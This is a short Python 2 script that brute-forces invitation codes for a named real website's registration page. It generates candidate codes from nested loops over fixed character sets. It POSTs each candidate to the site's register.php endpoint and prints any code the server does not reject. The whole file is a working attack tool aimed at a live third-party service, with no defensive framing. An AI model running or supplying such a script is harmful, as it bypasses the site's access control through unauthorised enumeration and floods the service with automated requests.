#!/usr/bin/env python
# coding=utf-8

import requests

headers = {
    "Content-Type":"application/x-www-form-urlencoded"
}
for c1 in "abcdef":
    for c2 in "abcdef":
        for c3 in "abcdef":
            for c4 in "abcdef":
                for c5 in "abcdef":
                    for c6 in "abcdef":
                        for c7 in "abcdef":
                            for c8 in "abcdef":
                                for d1 in "0123456789":
                                    for d2 in "0123456789":
                                        for d3 in "0123456789":
                                            code = c1+c2+c3+c4+c5+c6+c7+c8+"8c3"+d1+d2+d3+"06"
                                            data = "reginvcode=%s&action=reginvcodeck" % code
                                            resp = requests.post("http://t66y.com/register.php",data,headers=headers)
                                            if """<script language="JavaScript1.2">parent.retmsg_invcode('1');</script>""" not in resp.text:
                                                print resp.text
                                                print code
print "end"
